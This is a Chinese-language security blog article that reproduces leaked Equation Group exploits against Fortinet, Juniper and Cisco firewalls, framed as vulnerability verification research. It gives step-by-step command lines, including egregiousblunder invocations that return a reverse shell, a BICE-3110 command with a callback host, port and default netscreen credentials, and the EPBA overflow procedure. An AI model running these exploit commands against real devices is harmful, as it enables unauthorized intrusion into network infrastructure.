*本文原創(chuàng)作者:tigerlab,本文屬FreeBuf原創(chuàng)獎(jiǎng)勵(lì)計(jì)劃,未經(jīng)許可禁止轉(zhuǎn)載
2016年8月16日,黑客團(tuán)伙“The Shadow Brokers”聲稱自己入侵了“Equation Group“(方程式組織),并將他們從該黑客組織的計(jì)算機(jī)系統(tǒng)中所獲取到的部分黑客工具泄漏在了互聯(lián)網(wǎng)上。
泰格實(shí)驗(yàn)室第一時(shí)間對(duì)此次泄露的文件進(jìn)行了深入分析,多數(shù)漏洞的驗(yàn)證分析情況已有同行分享,現(xiàn)將我們對(duì)另外三個(gè)未見分析的漏洞的驗(yàn)證分析分享給大家,其中包括fortinet、juniper、Cisco三種設(shè)備漏洞。
1、fortinet漏洞驗(yàn)證
該漏洞主要是Cookie解析器存在緩沖區(qū)溢出漏洞,遠(yuǎn)程攻擊者可通過發(fā)送特制的HTTP請(qǐng)求利用該漏洞執(zhí)行任意代碼。
CVE編號(hào):CVE-2016-6909
以下版本受到影響:
Fortinet FortiOS 4.1.11之前的4.x版本,
4.2.13之前的4.2.x版本,
4.3.9之前的4.3.x版本,
FortiSwitch 3.4.3之前的版本。
漏洞驗(yàn)證過程如下:
獲取目標(biāo)etag 判斷版本類型
curl -X HEAD –v http://xxx.xxx.xxx.xxx/
Etag:480d772a
如果etag小于4DXXXXXX,適用版本 3;
如果etag 大于 4DXXXXXX,判斷是否需要cookienum
curl -X HEAD –v http://xxx.xxx.xxx.xxx/login
APSCOOKIE=0&0 ,在執(zhí)行命令時(shí)不需要設(shè)置cookienum
APSCOOKIE_2930800995=0&0 ,在執(zhí)行命令時(shí)需要設(shè)置cookienum,且版本為4nc
測(cè)試etag小于4DXXXXXX,且不存在cookienum
1)獲取溢出地址
判斷etag是否在存在于配置文件EGBL.config中,例:
如不存在可通過以下命令獲取堆棧地址:
./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx-p 80 -l 5432 –ssl 0 -v –config ./EGBL.config –wam 10
該命令只適用于etag小于4DXXXXXX,且不存在cookienum,在其他版本中均失效,無法獲取堆棧地址。
命令執(zhí)行如下:
成功獲取堆棧地址 0Xbffff274
2)執(zhí)行shellcode,返回shell
可通過直接傳入stack堆棧地址來反彈shell,
./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx -p 80 -l 5432 --ssl 0 -v --stack 0xbffff274 --nopen --gen 3
也可將etag寫入配置文件
ETAG = 480d772a : 0xbffff274
./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx -p 80 -l 5432 --ssl 0 -v –etag 480d772a --nopen --gen 3 --config ./EGBL.config
已成功返回shell,執(zhí)行-ls命令獲取文件目錄信息。
本次測(cè)試主要低版本的飛塔設(shè)備,etag小于4DXXXXXX。由于未深入該漏洞exploit溢出過程,所以針對(duì)其他版本無法通過命令獲取stack的,通過配置文件中的內(nèi)存地址遍歷進(jìn)行了測(cè)試,也可以成功反彈shell。
2、juniper漏洞驗(yàn)證
該漏洞需要先獲得juniper設(shè)備口令,在根據(jù)設(shè)備版本型號(hào)進(jìn)行攻擊,獲取系統(tǒng)權(quán)限。
telnet登陸獲取設(shè)備版本信息
設(shè)備版本號(hào)是ssg5ssg20.6.1.0r2.0,查看Dats里面是否存在該設(shè)備文件
漏洞復(fù)現(xiàn)
在BARGLEE文件夾中BICE-3110是juniper漏洞利用程序
./BICE-3110 -R *.*.*.* //目標(biāo)ip
-D 127.0.0.1 //接收反彈shell 主機(jī)ip
-d 5555 //接收反彈shell 主機(jī)端口
-m telnet //登陸模式 ssh/telnet
-t ../..//Dats/ssg5ssg20.6.1.0r2.0.xml //攻擊代碼配置
-u netscreen //設(shè)備賬號(hào)
-p netscreen //設(shè)備口令
成功之后返回設(shè)備基本信息,可選擇2種shell權(quán)限,juniper交互shell及BI shell。
Interactiver Console 實(shí)際就是juinper telnet進(jìn)去之后的命令操作。
BI shell
可見可以執(zhí)行的選項(xiàng)共有6項(xiàng):
返回目標(biāo)狀態(tài)
卸載BARGLEE
安裝BARGLEE
讀內(nèi)存
寫內(nèi)存
命令執(zhí)行
根據(jù)script中BARICE.txt安裝說明,嘗試進(jìn)行barglee植入
多次嘗試bin文件類型,均未能成功植入,不能對(duì)其進(jìn)行深入性分析。
3、Cisco EPBA漏洞驗(yàn)證
該漏洞與juniper一樣需要先獲取設(shè)備口令,之后通過溢出攻擊獲取系統(tǒng)權(quán)限。
漏洞復(fù)現(xiàn)
顯示結(jié)果為received mtu –EPBA: ok, payload: ok,表示溢出成功。
與此同時(shí),PIX722 防火墻控制端則會(huì)顯示緩沖區(qū)溢出
接下來我們根據(jù)操作提示執(zhí)行bride-1120這個(gè)腳本, 在執(zhí)行“1”選項(xiàng)后可以判斷是否正常連接,連接成功則返回Session D-H Key
執(zhí)行“8”之后可以查看BRICE的自帶shell功能。
多次嘗試寫入BatigerlabnanaGlee提示版本不對(duì)無法寫入。
分析發(fā)現(xiàn)其讀取目標(biāo)文件前4個(gè)字節(jié)來得到版本號(hào),通過對(duì)文件夾內(nèi)所有文件進(jìn)
行了搜索也未找到合適的植入程序。
總結(jié)
本文主要分享的是forinet、juniper、cisco三個(gè)漏洞利用文件的驗(yàn)證思路及過程。在
分析過程中我們進(jìn)行了大量測(cè)試實(shí)驗(yàn),想盡可能還原其整個(gè)攻擊流程,但由于部分關(guān)鍵文件缺失,未能繼續(xù)對(duì)其進(jìn)行完整分析。如果有小伙伴有更好的分析思路,可與我們交流。